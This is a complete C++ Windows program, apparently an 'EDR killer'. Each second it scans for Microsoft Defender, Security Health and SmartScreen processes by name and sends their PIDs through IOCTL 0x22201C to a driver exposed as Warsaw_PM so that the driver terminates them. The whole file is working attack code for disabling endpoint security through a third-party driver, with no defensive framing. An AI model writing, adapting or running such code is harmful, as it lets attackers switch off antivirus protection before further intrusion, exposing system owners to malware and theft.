#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <vector>
#include <string>
#include <atomic>

#pragma comment(lib, "advapi32.lib")

// Globals
std::atomic<bool> g_running(true);

// CTRL+C Handler
BOOL WINAPI CtrlHandler(DWORD ctrlType)
{
    if (ctrlType == CTRL_C_EVENT)
    {
        std::cout << "[!] Shutting down...\n";
        g_running.store(false);
        return TRUE;
    }
    return FALSE;
}

// Target Processes
const char* PROCESSES[] =
{
//    "names.exe",
//    "of.exe",
//    "processes.exe",
//    "to.exe",
//    "terminate.exe",
    "MsMpEng.exe",
    "MsMpEngCP.exe",
    "MpDefenderCoreService.exe",
    "MpCmdRun.exe",
    "NisSrv.exe",
    "SecurityHealthService.exe",
    "SecurityHealthHost.exe",
    "SecurityHealthSystray.exe",
    "MsSense.exe",
    "MsSecFw.exe",
    "MsMpSigUpdate.exe",
    "MsMpGfx.exe",
    "MpDwnLd.exe",
    "MpSigStub.exe",
    "MsMpCom.exe",
    "MSASCui.exe",
    "WindowsDefender.exe",
    "WdNisSvc.exe",
    "WinDefend.exe",
    "smartscreen.exe"
};

// PID lookup by process name
bool GetPidByName(const char* name, DWORD& pidOut)
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE)
        return false;

    PROCESSENTRY32 pe{};
    pe.dwSize = sizeof(pe);

    if (!Process32First(snapshot, &pe))
    {
        CloseHandle(snapshot);
        return false;
    }

    do
    {
        if (_stricmp(pe.szExeFile, name) == 0)
        {
            pidOut = pe.th32ProcessID;
            CloseHandle(snapshot);
            return true;
        }
    } while (Process32Next(snapshot, &pe));

    CloseHandle(snapshot);
    return false;
}

// Driver wrapper
class Driver
{
private:
    HANDLE hDriver{ INVALID_HANDLE_VALUE };

public:
    bool Initialize()
    {
        hDriver = CreateFileW(
            L"\\\\.\\Warsaw_PM",
            GENERIC_READ | GENERIC_WRITE,
            0,
            nullptr,
            OPEN_EXISTING,
            0,
            nullptr
        );

        if (hDriver == INVALID_HANDLE_VALUE)
        {
            std::cerr << "[!] Failed to initialize the driver\n";
            return false;
        }

        std::cout << "[+] Driver initialized successfully!\n";
        return true;
    }

    bool ExecuteIOCTL(DWORD pid)
    {
        std::vector<BYTE> buffer(1036, 0);

        // PID in first 4 bytes
        memcpy(buffer.data(), &pid, sizeof(pid));

        DWORD bytesReturned = 0;

        BOOL result = DeviceIoControl(
            hDriver,
            0x22201C,
            buffer.data(),
            (DWORD)buffer.size(),
            nullptr,
            0,
            &bytesReturned,
            nullptr
        );

        if (!result)
        {
            DWORD err = GetLastError();
            std::cerr << "[!] DeviceIoControl failed! Error: 0x"
                      << std::hex << err << "\n";
            return false;
        }

        std::cout << "[+] IOCTL sent for PID: " << pid << "\n";
        return true;
    }

    void Cleanup()
    {
        if (hDriver != INVALID_HANDLE_VALUE)
        {
            CloseHandle(hDriver);
            hDriver = INVALID_HANDLE_VALUE;
            std::cout << "[*] Driver handle closed\n";
        }
    }

    ~Driver()
    {
        Cleanup();
    }
};

int main()
{
    SetConsoleCtrlHandler(CtrlHandler, TRUE);

    Driver driver;
    if (!driver.Initialize())
        return 1;

    std::cout << "[*] Scanning for target processes...\n";
    std::cout << "[*] Press CTRL+C to stop...\n";

    while (g_running.load())
    {
        for (const char* proc : PROCESSES)
        {
            DWORD pid = 0;
            if (GetPidByName(proc, pid))
            {
                std::cout << "  -- Found " << proc << " PID: " << pid << "\n";
                std::cout << "[*] Killing " << proc << "...\n";
                driver.ExecuteIOCTL(pid);
            }
        }
        Sleep(1000);
    }

    std::cout << "[*] Cleaning up...\n";
    return 0;
}